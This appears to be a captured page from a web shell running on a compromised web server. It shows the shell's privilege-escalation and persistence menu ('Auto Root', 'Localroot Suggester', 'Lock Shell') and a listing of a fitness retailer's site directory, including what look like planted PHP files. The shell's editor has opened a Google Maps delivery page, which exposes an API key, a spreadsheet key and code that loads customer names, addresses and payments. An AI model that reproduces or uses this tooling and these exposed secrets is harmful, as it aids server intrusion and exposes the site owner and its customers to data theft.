Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-10-28 12:39
airbrush.sg
[ DIR ]
drwxr-x---
2025-10-30 03:31
appointment
[ DIR ]
drwxr-xr-x
2025-10-30 20:27
atelier
[ DIR ]
drwxr-x---
2025-10-29 23:03
atelier-fitness.com
[ DIR ]
drwxr-x---
2025-10-30 03:31
backup
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
bhg
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
cgi2012
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
delivery_summary
[ DIR ]
drwxr-x---
2025-10-29 23:03
eachadeal
[ DIR ]
drwxr-x---
2025-10-29 23:03
feeds
[ DIR ]
drwxrwxr-x
2025-10-29 23:03
gymconcept.sg
[ DIR ]
drwxr-x---
2025-10-30 03:31
homegym.com.sg
[ DIR ]
drwxr-x---
2025-10-30 03:31
homegym.my
[ DIR ]
drwxr-x---
2025-10-30 03:31
homegym.sg
[ DIR ]
drwxr-x---
2025-10-30 03:31
homegym2
[ DIR ]
drwxr-x---
2025-10-29 23:03
homegym_newsite
[ DIR ]
drwxr-x---
2025-10-29 23:03
m2
[ DIR ]
drwxr-x---
2025-10-29 23:03
maintenance
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
marketplace
[ DIR ]
drwxr-x---
2025-10-29 23:03
showroom
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
sqldumper
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
staging
[ DIR ]
drwxr-x---
2025-10-29 23:03
symlink
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
tg_cgi
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
tg_config
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
vigor-gym.com
[ DIR ]
drwxr-x---
2025-10-30 03:50
.ftpquota
20
B
-rw-------
2025-10-16 18:20
.htaccess
26
B
-rw-r--r--
2025-10-28 13:22
.user.ini
588
B
-rw-r--r--
2023-08-13 11:23
MapCreator.html
8.99
KB
-rw-r--r--
2024-03-26 07:10
MapCreatorOld.html
12.79
KB
-rw-r--r--
2021-08-27 03:55
adminer.php
3.27
KB
-rw-r--r--
2025-10-28 13:22
bhg-order.phtml
9.51
KB
-rw-r--r--
2020-11-16 03:08
detrack.php
1.18
KB
-rwxr-xr-x
2018-08-02 14:27
detrack_xml.php
1.21
KB
-rwxr-xr-x
2017-10-24 07:38
doc.php
12.56
KB
-rw-r--r--
2025-10-28 12:40
error_log
4.21
MB
-rw-r--r--
2024-05-31 08:36
getMapping.html
13
KB
-rw-r--r--
2021-08-16 02:15
info.php
20
B
-rw-r--r--
2016-01-04 05:16
order-form.phtml
4.82
KB
-rw-r--r--
2020-03-28 07:14
php.ini
638
B
-rw-r--r--
2023-08-13 11:23
phpinfo.php
171
B
-rw-r--r--
2020-09-01 08:57
test.php
110
B
-rw-r--r--
2020-11-13 08:16
testmap.html
7.33
KB
-rw-r--r--
2024-03-26 07:25
wp-ver.php
102.26
KB
-rw-r--r--
2025-10-28 12:35
wp.php
18
B
-rw-r--r--
2025-10-28 12:36
Save
Rename
<html> <head> <title>Add Map</title> <script src="https://polyfill.io/v3/polyfill.min.js?features=default"></script> </head> <body> <div style="width:1200px; font-family:Arial, sans-serif; font-size:11px; border:1px solid black"> <table id="cm_mapTABLE"> <tbody> <tr id="cm_mapTR"> <td> <div id="map" style="width:1000px; height:600px"></div> </td> </tr> </tbody></table> </div> <!-- prettier-ignore --> <script>(g=>{var h,a,k,p="The Google Maps JavaScript API",c="google",l="importLibrary",q="__ib__",m=document,b=window;b=b[c]||(b[c]={});var d=b.maps||(b.maps={}),r=new Set,e=new URLSearchParams,u=()=>h||(h=new Promise(async(f,n)=>{await (a=m.createElement("script"));e.set("libraries",[...r]+"");for(k in g)e.set(k.replace(/[A-Z]/g,t=>"_"+t[0].toLowerCase()),g[k]);e.set("callback",c+".maps."+q);a.src=`https://maps.${c}apis.com/maps/api/js?`+e;d[q]=f;a.onerror=()=>h=n(Error(p+" could not load."));a.nonce=m.querySelector("script[nonce]")?.nonce||"";m.head.append(a)}));d[l]?console.warn(p+" only loads once. Ignoring:",g):d[l]=(f,...n)=>r.add(f)&&u().then(()=>d[l](f,...n))}) ({key: "AIzaSyDTKn5z-1g7NEzBZ8lQGpH5wBAlwrj_LH8", v: "weekly"});</script> <style> /* * Always set the map height explicitly to define the size of the div element * that contains the map. */ #map { height: 100%; } /* * Optional: Makes the sample page fill the window. */ html, body { height: 100%; margin: 0; padding: 0; } </style> <script> var cm_map; var cm_openInfowindow; var cm_mapMarkers = []; var cm_mapHTMLS = []; var labels = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41']; var labelIndex = 0; // Change these parameters to customize map var init = 0; var param_wsId = "od6"; var param_ssKey = "1C9psFWhdkF7cG6o3qF0Icqnyty9puYH8n7YVQVv6bcs"; var param_useSidebar = true; var param_titleColumn = "name"; var param_address = "address"; var param_descriptionColumn = "items"; var param_postcode = "postcode"; var param_number = "number"; var param_name = "name"; var param_comment = "comment"; var param_payment = "payment"; var param_date = "date"; var param_price = "price"; var param_iconColor = "color"; var param_iconType = "green"; var param_iconOverType = "orange"; var geocoder = null; var ic = 0; var entry; var json; var bounds; var sidebarDIV; var kml = ''; var sidebarTD; var noResponse = ""; var linkRemoved = 0; var colour = []; var htmlArray = []; var nameArray = []; var positions = []; var addresses = []; var latlong; // Initialize and add the map let map; let marker; let infoWindow; let markers = []; var infoWindows = []; var prev_infowindow =false; var counter = 0; async function initMap() { // The location of Uluru const position = { lat: 1.355312, lng: 103.827667 }; // Request needed libraries. //@ts-ignore const { Map, InfoWindow } = await google.maps.importLibrary("maps"); const { AdvancedMarkerElement, PinElement } = await google.maps.importLibrary( "marker", ); // The map, centered at Uluru map = new Map(document.getElementById("map"), { zoom: 12, center: position, mapId: "DEMO_MAP_ID", }); if(param_useSidebar == true) { sidebarTD = document.createElement("td"); //sidebarTD.setAttribute("width","150"); sidebarTD.setAttribute("valign","top"); sidebarDIV = document.createElement("div"); sidebarDIV.id = "cm_sidebarDIV"; sidebarDIV.style.overflow = "auto"; sidebarDIV.style.height = "550px"; sidebarDIV.style.fontSize = "11px"; sidebarDIV.style.color = "#000000"; sidebarTD.appendChild(sidebarDIV); document.getElementById("cm_mapTR").appendChild(sidebarTD); } } cm_getJSON2(); initMap(); initMap().then( function(value) {console.log(value); setMarker();}, function(error) {console.log(error);} ); setTimeout( function() {setMarker();}, 4000); function setMarker() { console.log(htmlArray.length); for (var a=0;a<positions.length;a++) { createMarker(map, positions[a], htmlArray[a], colour[a], a, nameArray[a]); } } function createMarker(map, position, html, colour, number, name) { const pinBackground = new google.maps.marker.PinElement({ background: colour, glyph: String(number), borderColor: "#888888", }); const marker = new google.maps.marker.AdvancedMarkerElement({ position: position, map: map, title: String(number), content: pinBackground.element, }); const infoWindow = new google.maps.InfoWindow(); google.maps.event.addListener(marker, 'click', function() { if( prev_infowindow ) { prev_infowindow.close(); } infoWindow.setContent(html); prev_infowindow = infoWindow; infoWindow.open(map, marker); }); cm_mapMarkers.push(marker); cm_mapHTMLS.push(html); if(param_useSidebar == true) { var markerA = document.createElement("a"); markerA.setAttribute("href","javascript:cm_markerClicked('" + (number) +"')"); markerA.style.color = "#000000"; var sidebarText= ""; sidebarText += name; markerA.appendChild(document.createTextNode(sidebarText)); sidebarDIV.appendChild(markerA); sidebarDIV.appendChild(document.createElement("br")); sidebarDIV.appendChild(document.createElement("br")); } } function cm_markerClicked(markerNum) { var infowindowOptions = { content: cm_mapHTMLS[markerNum] } var infowindow = new google.maps.InfoWindow(infowindowOptions); infowindow.open(map, cm_mapMarkers[markerNum]); cm_setInfowindow(infowindow); } function cm_setInfowindow(newInfowindow) { if (cm_openInfowindow != undefined) { cm_openInfowindow.close(); } cm_openInfowindow = newInfowindow; } function cm_getJSON2() { fetch(`https://docs.google.com/spreadsheets/d/${param_ssKey}/gviz/tq?tqx=out:json`) .then(res => res.text()) .then(text => { cm_loadMapJSON(JSON.parse(text.substr(47).slice(0, -2))); }) } function cm_loadMapJSON(input) { json = input; counter = 0; for (var pos=0;pos<json.table.rows.length;pos++) { entry = json.table.rows[pos]; var c_number = entry.c[4]; var c_address = entry.c[2]; var c_date = entry.c[0]; var c_comment = entry.c[9]; var c_items = entry.c[5]; var c_payment = entry.c[7]; var c_price = entry.c[6]; var c_name = entry.c[1]; var c_colour = entry.c[12]; if (c_number != null) c_number = c_number.v; else c_number = ''; if (c_address != null) c_address = c_address.v; else c_address = ''; if (c_date != null) c_date = c_date.v; else c_date = ''; if (c_comment != null) c_comment = c_comment.v; else c_comment = ''; if (c_items != null) c_items = c_items.v; else c_items = ''; if (c_payment != null) c_payment = c_payment.v; else c_payment = ''; if (c_price != null) c_price = c_price.v; else c_price = ''; if (c_name != null) c_name = c_name.v; else c_name = ''; if (c_colour != null) c_colour = c_colour.v; else c_colour = 'red'; var html = "<div style='font-size:12px'>"; html += "<strong>" + c_name + "</strong>"; var label = c_name; html += "<br /><strong>Number: </strong>" + c_number; html += "<br /><strong>Date: </strong>" + c_date; html += "<br /><strong>Address: </strong>" + (c_address).replace("\n", " "); html += "<br/><strong>Items:</strong><br/>" + (c_items).replace(/\n/g, "<br />"); html += "<br /><strong>Comment: </strong>" + c_comment; html += "<br /><br /><strong>"+c_payment+": </strong>" + c_price; html += "</div>"; colour.push(c_colour); htmlArray.push(html); nameArray.push(c_name); addresses.push(c_address); } for (var pos=0;pos<addresses.length;pos++) { geo(pos); } } function geo(index) { geocoder = new google.maps.Geocoder(); geocoder.geocode({ 'address': addresses[index], componentRestrictions: { country: 'SG' } }, (results, status) => { if (status == google.maps.GeocoderStatus.OK) { var latlong = { lat: results[0].geometry.location.lat(), lng: results[0].geometry.location.lng() }; positions[index] = latlong; } else { console.log("Geocode was not successful for the following reason: " + status); } }); } function pausecomp(millis) { var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis); } </script> </body> </html>